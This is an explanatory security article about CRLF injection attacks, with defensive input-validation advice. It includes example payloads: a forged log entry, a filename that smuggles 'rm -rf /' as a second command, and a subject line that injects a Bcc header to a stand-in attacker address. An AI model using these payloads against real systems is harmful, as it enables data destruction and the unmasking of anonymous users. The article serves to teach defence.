CRLF injection attacks are not as well known as some other attacks, but when used against vulnerable applications, CRLF injections can be just as effective (for the attacker) and devastating (for you). Let's look at how these application attacks are performed and what you can do to protect your organization.
CRLF stands for "carriage return / line feed," which are two ASCII characters (ASCII 13 and 10 respectively). CR and LF are holdovers from the days when computer terminals were teletype printers, which worked like typewriters. At the end of each line, the CR command made the print head return to the left margin and the LF command advanced the paper by one line. While the days of terminals with rolls of paper are long gone, the CR and LF commands remain and are used as delimiter characters by many applications and network protocols.
Attackers have not ignored the lowly CRLF in their search for vulnerabilities. An attacker can execute a CRLF injection by putting a CRLF sequence in a piece of data to change how that data is handled by the program receiving it.
The most basic example of a CRLF attack involves adding spurious entries to log files. Let's say that a vulnerable application takes input from a user and writes it to a system log file. An attacker supplies the following input:
<![CDATA[Testing123<CR><LF>MYSQL DATABASE ERROR: TABLE CORRUPTION]]>
When the sysadmin looks at his logs in the morning, he may end up spending a lot of time troubleshooting a problem that does not exist. A crafty attacker could use this type of Trojan horse to distract the admin while attacking another portion of the system.
Imagine an application that receives a file name input from the user and then executes a command on that file, such as "ls –a ." If the application is vulnerable to CRLF injection, an attacker could provide input that looks like this:
<![CDATA[File.txt<CR><LF>rm -rf /]]>
The vulnerable application would execute the command "ls –a File.txt" and then the command "rm –rf /." If the application were running as root, this would be the last command it would ever execute, as all of the files on the root partition would be deleted.
Consider this use of a CRLF injection attack to reveal the email address of someone using a Web-based anonymous email system. The way that the system is supposed to work is that the sender of the email fills out a form with their email address, the subject of their message and the message itself. When the form is submitted to the Web server, it is converted into an SMTP email and sent to the recipient. The sender never gets to see the recipient's email address, which is known only to the server.
If this application were vulnerable to a CRLF attack, the sender of the email could subvert the anonymity of the recipient by creating a subject line that looks like this:
<![CDATA[Subject: Peekaboo, I see you<CR><LF>Bcc: sender@evil.com]]>
When the vulnerable application gets this data, it adds an unwanted line to the mail header, creating a blind carbon copy of the message to the sender's email address. In this copy, the "To:" address will be visible, thus revealing the recipient's email address to the sender.
Injection attacks, including CRLF attacks, are avoidable by using good programming techniques. Keeping your applications safe from CRLF injection requires the same vigilance as avoiding other types of injection attacks like SQL injection: never trust input! Any input that comes from a source outside of your control must be checked, and any characters that don't fit the expected data type removed before your program acts on it. For example, if you are expecting an email subject line, all of the characters in the data should be letters, numbers and punctuation. If your program is expecting a file name, only characters valid for file names should be in the data. Had the programmer in the either example simply filtered out the CR and LF characters, the attacks would have failed.
User input is one source of "bad characters," but don't forget to check inputs from other programs that you have not written. In many cases, an attacker can pass an injection attack from a vulnerable program to an underlying routine in which the programmer does not scrub data because it is not coming directly from a user. Consider any data that you cannot trace back to a trusted source as tainted, and you'll be safe.
About the author
Al Berg, CISSP, CISM is the Director of Information Security for Liquidnet (www.liquidnet.com). Liquidnet is the leading electronic venue for institutional block equities trading. According to INC. magazine in 2004, Liquidnet was the fastest growing privately held financial services company in the US and the fourth fastest growing privately held company in the US across all industries.
